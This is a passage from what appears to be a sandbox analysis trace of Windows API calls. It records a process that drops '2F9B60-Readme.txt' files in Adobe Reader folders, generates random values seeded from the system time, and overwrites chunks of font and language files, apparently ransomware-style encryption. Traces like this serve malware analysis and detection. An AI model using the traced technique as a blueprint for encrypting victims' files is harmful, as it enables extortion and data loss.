(HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4310c990 [0222.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310c990) returned 1 [0222.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4307a990) returned 1 [0222.198] NtQueryInformationFile (in: FileHandle=0x2a2c, IoStatusBlock=0x3d4efa78, FileInformation=0x3d4efa88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3d4efa78, FileInformation=0x3d4efa88) returned 0x0 [0222.198] NtSetInformationFile (FileHandle=0x2a2c, IoStatusBlock=0x3d4efa78, FileInformation=0x3d4efa88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0223.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4315eca0) returned 1 [0223.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4315ed50) returned 1 [0223.237] FlushFileBuffers (hFile=0x2a2c) returned 1 [0224.002] CloseHandle (hObject=0x2a2c) returned 1 [0224.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x431cb080 [0224.897] wcscpy (in: _Dest=0x431cb080, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\" [0224.897] wcscat (in: _Dest=0x431cb080, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\2F9B60-Readme.txt" [0224.897] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\2f9b60-readme.txt")) returned 0xffffffff [0224.897] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a70 [0225.955] WriteFile (in: hFile=0x2a70, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3d4ef930, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3d4ef930*=0xba9, lpOverlapped=0x0) returned 1 [0226.539] CloseHandle (hObject=0x2a70) returned 1 [0227.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431cb080) returned 1 [0227.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205064f0) returned 1 [0227.053] FindNextFileW (in: hFindFile=0x1cd87030, lpFindFileData=0x2027f170 | out: lpFindFileData=0x2027f170*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835c1ea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3d9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeArabic-BoldItalic.otf", cAlternateFileName="ADOBEA~3.OTF")) returned 1 [0227.053] wcscmp (_String1="AdobeArabic-BoldItalic.otf", _String2=".") returned 1 [0227.053] wcscmp (_String1="AdobeArabic-BoldItalic.otf", _String2="..") returned 1 [0227.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x431322a0 [0227.053] wcscpy (in: _Dest=0x431322a0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" [0227.053] wcscat (in: _Dest=0x431322a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\" [0227.053] wcscat (in: _Dest=0x431322a0, _Source="AdobeArabic-BoldItalic.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeArabic-BoldItalic.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeArabic-BoldItalic.otf" [0227.264] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeArabic-BoldItalic.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobearabic-bolditalic.otf")) returned 0x20 [0227.264] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeArabic-BoldItalic.otf", dwFileAttributes=0x20) returned 1 [0227.265] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeArabic-BoldItalic.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobearabic-bolditalic.otf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14c0 [0227.266] GetFileSizeEx (in: hFile=0x14c0, lpFileSize=0x3d4efa20 | out: lpFileSize=0x3d4efa20*=252320) returned 1 [0227.266] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x3d99c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.266] ReadFile (in: hFile=0x14c0, lpBuffer=0x3d4ef9a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3d4ef9e8, lpOverlapped=0x0 | out: lpBuffer=0x3d4ef9a0*, lpNumberOfBytesRead=0x3d4ef9e8*=0x4, lpOverlapped=0x0) returned 1 [0227.393] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e860 [0227.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dc60 [0227.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e830 [0227.394] NtQuerySystemTime (in: CurrentTime=0x3d4ef8e0 | out: CurrentTime=0x3d4ef8e0*=132462178313866000) returned 0x0 [0227.394] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x3ebc9ccf [0227.394] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x3dc9497a [0227.394] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x736be673 [0227.394] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x4ebc64f6 [0227.394] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x5718e64e [0227.394] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x3db2389b [0227.394] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x7ef32ad7 [0227.394] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x176493d5 [0227.394] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x540a92d7 [0227.394] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x543d2ceb [0227.394] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x68962397 [0227.394] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x1ca84e50 [0227.394] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x3bfa2471 [0227.394] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x32c10300 [0227.394] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x1b64055a [0227.394] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0xadbba8 [0227.395] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x25717f17 [0227.395] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x27d8d527 [0227.395] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x1d6cde3d [0227.395] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x25c7a472 [0227.395] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x50f58899 [0227.395] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x3eb34d1b [0227.395] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x25717f17 [0227.395] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x6d49c83e [0227.395] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x4c9abf2b [0227.395] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x7ebf5855 [0227.395] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x6a2bd0d0 [0227.395] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x68962397 [0227.395] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x38c0fa98 [0227.395] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x57f66fba [0227.395] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x62cbdc73 [0227.395] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x5d1dea1c [0227.396] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.396] ReadFile (in: hFile=0x14c0, lpBuffer=0x202cc520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3d4ef940, lpOverlapped=0x0 | out: lpBuffer=0x202cc520*, lpNumberOfBytesRead=0x3d4ef940*=0x3c00, lpOverlapped=0x0) returned 1 [0229.641] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97800 [0229.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24520 [0229.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431364c0 [0229.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431364c0) returned 1 [0229.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b79560 [0229.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431364c0 [0229.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134e10 [0229.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43134e10) returned 1 [0229.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24520) returned 1 [0229.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97800) returned 1 [0229.645] WriteFile (in: hFile=0x14c0, lpBuffer=0x41b79560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3d4ef940, lpOverlapped=0x0 | out: lpBuffer=0x41b79560*, lpNumberOfBytesWritten=0x3d4ef940*=0x3c00, lpOverlapped=0x0) returned 1 [0239.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b79560) returned 1 [0239.312] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.312] ReadFile (in: hFile=0x14c0, lpBuffer=0x202cc520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3d4ef940, lpOverlapped=0x0 | out: lpBuffer=0x202cc520*, lpNumberOfBytesRead=0x3d4ef940*=0x3c00, lpOverlapped=0x0) returned 1 [0239.315] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62a50 [0239.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869fc0 [0239.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43135020 [0239.317] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43135020) returned 1 [0239.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b79560 [0239.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43135020 [0239.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134fc0 [0239.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43134fc0) returned 1 [0239.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869fc0) returned 1 [0239.319] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62a50) returned 1 [0239.319] WriteFile (in: hFile=0x14c0, lpBuffer=0x41b79560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3d4ef940, lpOverlapped=0x0 | out: lpBuffer=0x41b79560*, lpNumberOfBytesWritten=0x3d4ef940*=0x3c00, lpOverlapped=0x0) returned 1 [0244.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b79560) returned 1 [0244.967] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x39da0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.967] ReadFile (in: hFile=0x14c0, lpBuffer=0x202cc520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3d4ef940, lpOverlapped=0x0 | out: lpBuffer=0x202cc520*, lpNumberOfBytesRead=0x3d4ef940*=0x3c00, lpOverlapped=0x0) returned 1 [0245.003] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x39da0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059470 [0245.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba160 Thread: id = 2713 os_tid = 0x22d0 [0157.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1ced34f0 [0157.788] wcscpy (in: _Dest=0x1ced34f0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics" [0157.788] wcscat (in: _Dest=0x1ced34f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\" [0157.788] wcscat (in: _Dest=0x1ced34f0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\*" [0157.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027e540 [0157.789] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\*", lpFindFileData=0x2027e540 | out: lpFindFileData=0x2027e540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dcf09c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86f10 [0160.872] wcscmp (_String1=".", _String2=".") returned 0 [0160.872] FindNextFileW (in: hFindFile=0x1cd86f10, lpFindFileData=0x2027e540 | out: lpFindFileData=0x2027e540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dcf09c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.873] wcscmp (_String1="..", _String2=".") returned 1 [0160.873] wcscmp (_String1="..", _String2="..") returned 0 [0160.873] FindNextFileW (in: hFindFile=0x1cd86f10, lpFindFileData=0x2027e540 | out: lpFindFileData=0x2027e540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dcf09c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f472300, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageNames2", cAlternateFileName="LANGUA~1")) returned 1 [0160.873] wcscmp (_String1="LanguageNames2", _String2=".") returned 1 [0160.873] wcscmp (_String1="LanguageNames2", _String2="..") returned 1 [0160.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1cd64b00 [0160.873] wcscpy (in: _Dest=0x1cd64b00, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics" [0160.873] wcscat (in: _Dest=0x1cd64b00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\" [0160.873] wcscat (in: _Dest=0x1cd64b00, _Source="LanguageNames2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" [0161.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1cd654a0 [0161.032] wcscpy (in: _Dest=0x1cd654a0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" [0161.032] wcscat (in: _Dest=0x1cd654a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\" [0161.032] wcscat (in: _Dest=0x1cd654a0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\*" [0161.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20502ef0 [0161.032] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\*", lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dcf09c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f472300, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86cd0 [0165.939] wcscmp (_String1=".", _String2=".") returned 0 [0165.939] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dcf09c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f472300, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.968] wcscmp (_String1="..", _String2=".") returned 1 [0165.968] wcscmp (_String1="..", _String2="..") returned 0 [0165.968] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar.txt", cAlternateFileName="DICAC9~1.TXT")) returned 1 [0165.968] wcscmp (_String1="DisplayLanguageNames.ar.txt", _String2=".") returned 1 [0165.968] wcscmp (_String1="DisplayLanguageNames.ar.txt", _String2="..") returned 1 [0165.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x1cecfa20 [0165.969] wcscpy (in: _Dest=0x1cecfa20, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" [0165.969] wcscat (in: _Dest=0x1cecfa20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\" [0165.969] wcscat (in: _Dest=0x1cecfa20, _Source="DisplayLanguageNames.ar.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar.txt" [0165.969] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar.txt")) returned 0x20 [0165.976] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar.txt", dwFileAttributes=0x20) returned 1 [0166.492] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2a3c [0166.492] GetFileSizeEx (in: hFile=0x2a3c, lpFileSize=0x3d99fa70 | out: lpFileSize=0x3d99fa70*=27784) returned 1 [0166.493] SetFilePointerEx (in: hFile=0x2a3c, liDistanceToMove=0x6c84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.493] ReadFile (in: hFile=0x2a3c, lpBuffer=0x3d99f9f0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3d99fa38, lpOverlapped=0x0 | out: lpBuffer=0x3d99f9f0*, lpNumberOfBytesRead=0x3d99fa38*=0x4, lpOverlapped=0x0) returned 1 [0166.517] SetFilePointerEx (in: hFile=0x2a3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6e50 [0166.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7060 [0166.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7030 [0166.517] NtQuerySystemTime (in: CurrentTime=0x3d99f930 | out: CurrentTime=0x3d99f930*=132462177716386000) returned 0x0 [0166.517] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x5f9ae625 [0166.517] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x2f3a2733 [0166.517] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x1cb492be [0166.518] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x7ed13a4f [0166.518] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x4d46a1c [0166.518] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x3fe97754 [0166.518] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x35706947 [0166.518] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x5b0b0ed4 [0166.518] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x471bd11c [0166.518] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x8b092ce [0166.518] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0xdbd4d2a [0166.518] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x32a8ba6b [0166.518] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x7aa3977d [0166.518] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x562c43a2 [0166.518] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x67d74e8c [0166.518] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x33a502d7 [0166.518] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x1d1d88c6 [0166.518] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x70e33e53 [0166.518] 